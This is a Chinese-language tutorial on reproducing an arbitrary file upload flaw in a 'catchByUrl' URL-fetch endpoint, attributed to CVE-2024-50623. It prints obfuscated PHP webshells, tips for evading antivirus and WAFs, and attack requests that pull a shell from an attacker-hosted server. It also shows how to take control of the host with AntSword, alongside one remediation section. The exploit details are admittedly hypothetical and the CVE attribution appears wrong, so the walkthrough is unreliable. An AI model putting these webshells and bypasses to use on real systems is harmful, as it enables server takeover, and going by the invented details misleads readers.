企业级应用文件上传漏洞复现:CVE-2024-50623原理与实战

企业级应用文件上传漏洞复现:CVE-2024-50623原理与实战
1. 项目概述一次典型的企业级应用文件上传漏洞复现最近在梳理一些企业级应用的历史漏洞时遇到了一个挺有代表性的案例——北京中科聚网一体化运营平台的任意文件上传漏洞。这个漏洞的编号是CVE-2024-50623在安全圈里讨论度不低。很多刚入门安全测试的朋友一听到“任意文件上传”就觉得是“上传个木马就完事了”但实际在复现企业级应用的漏洞时情况往往复杂得多。它不仅仅是找到一个上传点那么简单还涉及到对目标系统架构的理解、对过滤机制的绕过以及对漏洞利用链的完整构建。这次复现的漏洞核心触发点在一个名为catchByUrl的功能接口上。从名字就能猜出个大概这是一个“通过URL抓取”文件的功能。很多运营平台为了方便内容聚合会提供从互联网上抓取图片、文档到本地的功能。而问题就出在这个功能在对“抓取”来的文件进行处理时缺乏足够严格的校验和隔离导致攻击者可以精心构造一个恶意的URL让服务器主动去“抓取”一个包含恶意代码的文件并保存到Web可访问的目录从而实现任意代码执行。复现这个漏洞不仅能让我们掌握一个具体的CVE利用方法更重要的是它能帮助我们建立起对企业应用安全测试的完整思维如何从功能点入手分析风险、如何搭建模拟环境、如何构造绕过Payload、以及最终如何验证漏洞的影响。整个过程就像一次完整的外科手术需要清晰的思路和精准的操作。接下来我就把这次复现的详细过程、踩过的坑以及一些个人心得毫无保留地分享给大家。2. 漏洞原理深度剖析为什么catchByUrl会出问题在动手复现之前我们必须先吃透漏洞的原理。知其然更要知其所以然这样在遇到类似漏洞时才能举一反三。2.1 功能定位与设计缺陷“一体化运营平台”通常集成了内容管理、用户管理、数据统计等多个模块。catchByUrl功能在设计上是为了提升运营人员的工作效率。比如编辑一篇文章时可以直接输入一个网络图片的URL系统自动下载并保存到本地避免手动下载再上传的繁琐步骤。这是一个非常普遍且看似便利的需求。然而安全风险就隐藏在便利性之中。一个健壮的文件上传/抓取功能至少应该包含以下几层防护来源校验限制可抓取的URL范围如白名单域名或协议通常只允许HTTP/HTTPS。文件类型校验不仅检查客户端上传的MIME类型更要对文件内容进行深度检查如文件头、文件幻数。文件名处理对下载后的文件进行重命名避免使用用户可控的原文件名特别是防止特殊的路径穿越字符如../。存储路径隔离将上传的文件存储在Web根目录之外或者至少确保其没有执行权限。中科聚网平台的这个catchByUrl接口正是在第2点和第3点上出现了严重疏漏。根据公开的漏洞详情和分析其核心问题在于过度信任“远程文件”系统认为从URL抓取的文件是“安全”的图片或文档可能只简单检查了URL后缀或返回的Content-Type但没有对文件的实际内容进行有效验证。文件名可控在抓取过程中保存到服务器上的文件名可能完全或部分由攻击者通过URL参数控制。攻击者可以构造一个URL指向一个内容为WebShell的文本文件但将其命名为shell.php。服务器抓取后就以.php后缀保存了。目录穿越可能如果文件名处理逻辑不严谨攻击者可能在文件名中注入目录遍历序列如../../../shell.php尝试将文件写入Web根目录或其他敏感位置。2.2 漏洞利用链的构建理解了缺陷所在攻击链就清晰了寻找入口攻击者首先需要找到调用catchByUrl功能的接口。这通常在前端页面的编辑器组件或特定的“网络图片上传”按钮背后。构造恶意URL攻击者需要自己搭建一个简单的HTTP服务器在上面放置一个内容为PHP WebShell的文本文件例如内容为?php eval($_POST[‘cmd’]);?这个文件可以命名为任何名字比如test.txt。触发抓取向漏洞接口发送HTTP请求其中的参数包含指向上述恶意文件的URL。关键技巧在于URL的末尾可能通过参数如?filenameshell.php或路径如/malicious_server/../shell.php的方式试图“欺骗”服务器让其将抓取到的内容以.php后缀保存。实现代码执行如果漏洞存在且利用成功这个WebShell文件就会被保存到服务器的Web可访问目录下。攻击者随后直接访问这个文件的URL即可执行任意系统命令完全控制服务器。注意实际利用中文件名控制可能更隐蔽。例如服务器可能默认使用URL路径的最后一段作为文件名那么攻击者就可以将恶意服务器上的文件路径构造为/xxx/xxx/shell.php.jpg而实际文件内容是PHP代码。服务器根据后缀保存为.php文件但内容校验却可能因为看到.jpg而放松警惕。2.3 与常见上传漏洞的异同这和普通的文件上传漏洞有何不同普通上传攻击者直接通过文件选择框上传一个恶意文件。防御重点在前端校验、服务端MIME类型检查、内容校验和重命名。catchByUrl漏洞攻击者不直接上传文件而是提供一个URL诱使服务器主动发起请求去下载并保存。防御重点变成了对远程URL的校验、对下载内容的安全性检查以及对最终存储文件的处理。由于请求是由服务器内向外交互的有时能绕过一些针对客户端上传的WAF规则。正是这种“服务器主动外联”的特性使得该漏洞在特定环境下更具威胁性。3. 复现环境搭建与工具准备漏洞复现的第一原则是必须在完全可控的隔离环境中进行。绝对禁止对非授权目标进行测试。我们这里采用“漏洞环境靶场攻击机”的经典模式。3.1 靶场环境搭建由于中科聚网一体化运营平台是商业软件我们无法直接获取其安装包。因此复现通常有以下几种方式寻找历史版本或测试版在一些开源漏洞库或安全研究者分享中有时能找到存在漏洞的旧版本安装包。务必在虚拟机中安装。使用漏洞靶场镜像一些综合漏洞练习平台如Vulhub、DVWA的变种、或某些专门收集CVE的Docker镜像可能集成了该漏洞环境。这是最安全、最推荐的方式。代码审计与模拟如果能找到该功能的代码片段可以自己搭建一个具有类似逻辑的简易PHP/Java应用用于理解漏洞原理。对于CVE-2024-50623假设我们通过某种途径获得了一个存在漏洞的安装包注此处仅为教学演示实际中请使用合法授权的测试环境或靶场。搭建步骤准备虚拟机使用VMware或VirtualBox创建一个全新的Windows Server 2012 R2或CentOS 7虚拟机。配置NAT网络确保能与宿主机通信。安装基础服务根据平台要求安装对应的Web服务如Apache/Nginx、数据库如MySQL和运行时环境如PHP 5.4-7.2或JRE/Tomcat。部署平台将安装包上传至虚拟机按照官方文档进行安装。通常涉及解压、配置数据库连接、运行安装脚本。记录下后台管理地址、默认账号密码。环境验证在宿主机浏览器访问虚拟机的IP地址确认平台首页和后台管理登录页能正常打开。实操心得搭建老旧商业软件的漏洞环境非常容易踩坑尤其是依赖组件的版本冲突。我的经验是先仔细阅读安装说明然后尽量使用官方指定的或稍旧的稳定版组件。如果安装失败查看日志文件如Apache的error.logPHP的php_error.log是定位问题的关键。另一个技巧是可以尝试在Docker中构建环境利用Dockerfile固化依赖可复现性更强。3.2 攻击机与工具准备攻击机就是我们日常使用的渗透测试系统如Kali Linux或配置了相关工具的Windows/Mac。必备工具列表工具类别工具名称用途说明代理与抓包Burp Suite Community/Professional拦截、重放、修改HTTP/HTTPS请求是发现和测试漏洞入口的核心。WebShell管理AntSword (蚁剑) / C刀 / Behinder一旦上传成功用于连接和管理WebShell执行命令。网络服务Pythonhttp.server/SimpleHTTPServer快速搭建一个临时的HTTP服务器用于托管恶意文件。漏洞验证浏览器开发者工具查看前端源码寻找API接口。综合扫描Nuclei使用现成的漏洞模板POC进行快速验证。工具配置要点Burp Suite确保浏览器代理设置正确127.0.0.1:8080并安装Burp的CA证书以拦截HTTPS流量。在Proxy - Options中确保代理监听正确。蚁剑/AntSword提前准备好一个免杀的一句话WebShell payload。对于PHP经典的?php eval($_POST[‘a’]);?容易被查杀可以尝试使用字符串拼接、编码变形等方式例如?php $_uUchr(99).chr(104).chr(114);$_cC$_uU(101).$_uU(118).$_uU(97).$_uU(108);$_fF$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_$_fF(“”,$_cC);$_($_POST[‘c’]);?。但最稳妥的方式是根据目标系统的防护情况动态生成。Python HTTP Server在攻击机上创建一个目录放入我们的“恶意”文件。命令很简单python3 -m http.server 8080。这样就在本机8080端口启动了一个HTTP服务可以通过http://[攻击机IP]:8080/恶意文件访问。4. 漏洞发现与入口点探测有了环境下一步就是寻找那个关键的catchByUrl接口在哪里。4.1 前端代码分析与接口嗅探登录系统使用默认或弱口令进入后台管理界面。通常运营平台的文件上传功能会在“内容发布”、“素材管理”、“页面编辑”等模块。打开编辑器找到文章发布或页面编辑的界面这里最有可能集成“插入网络图片”的功能。点击类似“图片”、“网络图片”、“插入图片”的按钮。抓包分析打开Burp Suite开启拦截。在编辑器中点击“插入网络图片”输入一个合法的图片URL比如https://example.com/test.jpg并确认。分析请求在Burp的Proxy - History中找到刚刚发送的请求。重点关注请求路径路径中很可能包含catchByUrl、uploadByUrl、remoteUpload等关键词。请求参数通常会有一个url或source参数其值就是你输入的图片URL。还可能有filename、name、type等控制保存行为的参数。响应内容成功时响应可能返回文件保存后的服务器路径、访问URL或JSON格式的成功信息。示例请求可能长这样POST /admin/upload/catchByUrl HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded urlhttp://example.com/test.jpgfilenametest.jpg或者以JSON格式POST /api/v1/upload/remote HTTP/1.1 Host: target.com Content-Type: application/json {url: http://example.com/test.jpg, saveName: test.jpg}4.2 接口参数模糊测试找到接口后不要急于上传WebShell先进行简单的模糊测试探明接口的行为和参数作用。测试参数必要性尝试移除filename参数看系统是否会自动生成文件名。如果自动生成观察其命名规则时间戳随机数。测试路径穿越在filename参数中尝试包含目录遍历序列例如../../../shell.php或..\..\shell.php。观察响应是报错、过滤还是成功。测试URL协议尝试使用file://、ftp://、gopher://等协议看系统是否支持或过滤。有时file://协议能直接读取服务器本地文件构成更严重的漏洞。测试畸形URL输入一个不存在的URL或返回错误状态的URL看系统如何处理。输入一个返回Content-Type: text/html的URL看系统是否仍将其作为文件保存。这个过程主要是为了摸清底细为后续构造精准的Payload做准备。5. 漏洞利用实战步步为营获取WebShell假设通过探测我们确认了接口/admin/upload/catchByUrl存在并且url和filename参数均有效且过滤不严。现在开始正式利用。5.1 构造恶意文件与服务器在攻击机IP: 192.168.1.100上创建一个工作目录。mkdir -p /tmp/exploit cd /tmp/exploit编写一个简单的PHP WebShell文件这里为了演示使用一个经过简单混淆的。将其保存为shell.txt注意文件本身是.txt后缀但内容是PHP代码。?php // 使用chr函数拼接“assert”关键字绕过一些简单的字符串检测 $f chr(97).chr(115).chr(115).chr(101).chr(114).chr(116); // 执行通过POST传递的‘c’参数 $f($_POST[c]); ?这个WebShell的功能是接收POST参数c的值并使用assert函数执行。assert在某些配置下比eval更隐蔽。在同一目录下启动Python的HTTP服务器。python3 -m http.server 8888现在这个WebShell可以通过http://192.168.1.100:8888/shell.txt被访问到。5.2 构造并发送攻击请求打开Burp Suite的Repeater模块将之前抓到的合法catchByUrl请求发送过来进行修改。原始请求抓取正常图片POST /admin/upload/catchByUrl HTTP/1.1 Host: 192.168.1.50:8080 Content-Type: application/x-www-form-urlencoded Cookie: JSESSIONIDxxxxxxx urlhttps://picsum.photos/200/300.jpgfilenamebackground.jpg修改后的攻击请求POST /admin/upload/catchByUrl HTTP/1.1 Host: 192.168.1.50:8080 Content-Type: application/x-www-form-urlencoded Cookie: JSESSIONIDxxxxxxx urlhttp://192.168.1.100:8888/shell.txtfilenameshell.php关键修改点url参数指向我们攻击机上托管的shell.txt。filename参数指定服务器保存的文件名为shell.php。这是利用的核心欺骗服务器将.txt内容以.php后缀保存。点击“Send”发送请求。5.3 分析响应与确认上传观察Burp返回的响应。成功的情况可能有以下几种返回JSON成功信息{code: 200, msg: success, data: {filePath: /uploads/202405/shell.php, url: /uploads/202405/shell.php}}这直接给出了文件的访问路径。返回HTML片段可能直接返回一个img标签其src属性包含了文件路径如src/upload/shell.php。返回相对路径或文件名只返回了shell.php或202405/shell.php。如果返回错误需要根据错误信息调整Payload“文件类型不允许”说明后端对filename的后缀做了白名单校验。尝试将filename改为shell.php.jpg并期望服务器仅按后缀保存不检查内容。或者尝试使用空字节截断等技巧如shell.php%00.jpg但这在PHP高版本中已失效。“URL抓取失败”检查你的HTTP服务器是否可被靶机访问网络连通性防火墙。尝试将URL换成http://192.168.1.100:8888/shell.txt?x.php有时参数会影响某些解析逻辑。“文件名非法”可能过滤了.php后缀。尝试大小写混淆.Php.pHp、双后缀.php.jpg、点号空格.php.或利用解析差异.php.phtml.php5.phps。5.4 连接WebShell与验证漏洞假设我们收到成功响应文件路径为/uploads/shell.php。访问WebShell在浏览器中访问http://192.168.1.50:8080/uploads/shell.php。页面可能是空白或显示简单错误因为缺少POST参数这没关系。使用蚁剑连接打开蚁剑点击“添加数据”。URL地址填写http://192.168.1.50:8080/uploads/shell.php连接密码填写c与我们WebShell中$_POST[‘c’]的键名对应编码器、请求头等可根据需要调整默认即可。点击“添加”然后双击新添加的服务器。执行命令连接成功后在蚁剑的虚拟终端中尝试执行命令如whoami、ipconfig或ls -la。如果能成功回显命令结果则证明漏洞复现成功已获得服务器权限。6. 漏洞修复与安全加固建议复现漏洞的最终目的是为了理解和修复它。对于开发者和运维人员以下加固措施至关重要6.1 代码层修复方案禁用危险功能除非业务绝对必需否则应考虑禁用或移除catchByUrl这类从远程URL抓取文件的功能。实施白名单校验URL白名单只允许抓取来自可信域名如公司内部的图床、指定的CDN的文件。文件类型白名单基于文件内容的真实类型进行校验而不是扩展名或Content-Type。可以使用finfo_file(PHP) 或Files.probeContentType(Java) 等函数检测文件幻数。强制重命名与目录隔离保存文件时使用不可预测的随机字符串如UUID重命名并强制添加安全的扩展名如.safe或根据检测出的真实类型添加对应扩展名。将上传文件存储在Web根目录之外并通过一个安全的下载脚本如download.php?idxxx来提供访问该脚本会再次校验文件类型和权限。限制文件大小和下载超时防止攻击者通过URL下载超大文件导致拒绝服务。沙箱或临时处理考虑将抓取的文件先放入临时目录经过严格的内容安全扫描如杀毒、静态代码分析后再移动到正式存储位置。修复代码示例PHPfunction safeCatchByUrl($remoteUrl, $allowedDomains []) { // 1. 检查URL是否在白名单内 $parsedUrl parse_url($remoteUrl); if (!in_array($parsedUrl[host], $allowedDomains)) { throw new Exception(URL domain not allowed.); } // 2. 获取远程文件内容 $content file_get_contents($remoteUrl); if ($content false) { throw new Exception(Failed to fetch remote file.); } // 3. 创建临时文件并写入内容 $tmpFile tempnam(sys_get_temp_dir(), catch_); file_put_contents($tmpFile, $content); // 4. 使用finfo检测真实MIME类型 $finfo finfo_open(FILEINFO_MIME_TYPE); $mime finfo_file($finfo, $tmpFile); finfo_close($finfo); // 5. 只允许图片类型 $allowedMimes [image/jpeg, image/png, image/gif]; if (!in_array($mime, $allowedMimes)) { unlink($tmpFile); throw new Exception(File type not allowed.); } // 6. 安全重命名并移动到非Web目录 $safeExtension array( image/jpeg jpg, image/png png, image/gif gif )[$mime]; $newFilename uniqid(img_, true) . . . $safeExtension; $savePath /path/to/non/web/accessible/storage/ . $newFilename; rename($tmpFile, $savePath); // 7. 返回一个安全的访问令牌或相对路径而非直接路径 return generateSecureFileToken($newFilename); }6.2 运维与架构层加固WAF防护在应用前端部署WAF配置规则拦截包含../、.php等敏感字符串的上传请求以及检测异常的URL抓取行为。文件服务器权限确保Web服务器进程对上传目录只有写入权限没有执行权限。在Linux上可以设置目录权限为755文件权限为644并确保没有设置chmod x。定期安全扫描对上传目录进行定期的静态恶意代码扫描。最小化网络出口如果服务器不需要主动访问外网应限制其出站连接。如果catchByUrl功能必需可以配置严格的白名单策略只允许访问特定的、可信的外部资源。及时更新与补丁关注厂商安全公告及时更新系统到已修复漏洞的最新版本。7. 复现过程中的常见问题与排查技巧即使按照步骤操作复现过程也可能遇到各种问题。这里记录几个我踩过的坑和解决方法。问题1Burp Suite抓不到HTTPS请求。现象配置了代理但浏览器访问靶场时Burp里看不到任何请求。排查首先检查浏览器代理设置是否正确指向Burp127.0.0.1:8080。然后访问http://burp下载并安装Burp的CA证书。对于Firefox需要在浏览器设置中单独导入证书对于Chrome/Edge需要在操作系统如Windows的证书管理中导入。最后确保Burp的Proxy拦截是开启状态Intercept is on。问题2上传成功但访问WebShell返回404或空白页。排查路径错误仔细核对响应返回的文件路径。有时路径是相对路径需要结合网站根目录拼接。尝试访问http://target.com/uploads/看目录列表是否开启确认文件是否存在。权限问题Web服务器用户如www-data, nobody可能没有对上传文件的读取权限。在靶场环境中可以手动chmod 644 shell.php测试。代码执行被禁用检查PHP配置文件php.ini确保disable_functions中没有禁用eval、assert、system等函数。在蚁剑连接时可以尝试使用不同的Payload类型如PHPsystem回调。文件内容损坏可能是抓取过程中编码问题导致文件内容错误。可以在攻击机的WebShell文件中加入一句echo “test”;上传后直接访问URL看是否能输出“test”来验证文件是否被正确保存。问题3请求被WAF或应用防火墙拦截。现象发送攻击请求后返回403、500错误或包含“安全拦截”、“非法请求”等字样。绕过技巧参数污染重复提交filename参数如filenameshell.jpgfilenameshell.php不同服务器解析顺序不同可能绕过。特殊字符编码对点号、斜杠进行URL编码如shell%2ephp..%2f..%2fshell.php。换行符绕过在filename参数值中插入换行符%0a有时能截断某些正则匹配。修改请求方式将POST改为GET或者将参数放在URL路径中。使用冷门后缀尝试.phtml.php5.php7.phar等。问题4无法确定漏洞接口的准确路径。方法目录扫描使用工具如dirsearchgobuster对/admin/upload/api等目录进行扫描寻找可能包含catchremoteurl等关键词的路径。JS文件分析在浏览器开发者工具的Sources或Network中查看前端加载的JavaScript文件搜索catchByUrlremoteUpload等关键字往往能找到对应的API地址。盲猜与爆破根据常见命名规律构造字典进行爆破如/admin/upload/remote/api/upload/catch/file/fetch等。漏洞复现是一个需要耐心和细致观察的过程。每一个错误响应都包含了系统防御机制的信息善于分析这些信息调整攻击载荷是安全测试人员必备的技能。这次对中科聚网平台CVE-2024-50623漏洞的复现不仅是一个技术操作更是一次完整的安全思维训练。从环境搭建到原理分析再到利用和修复每一步都加深了对“任意文件上传”这一类漏洞的理解。对于开发者而言重要的是建立起纵深防御的思想不信任任何用户输入包括间接提供的URL对于安全人员而言则是要培养从功能点快速定位潜在风险点的敏锐嗅觉。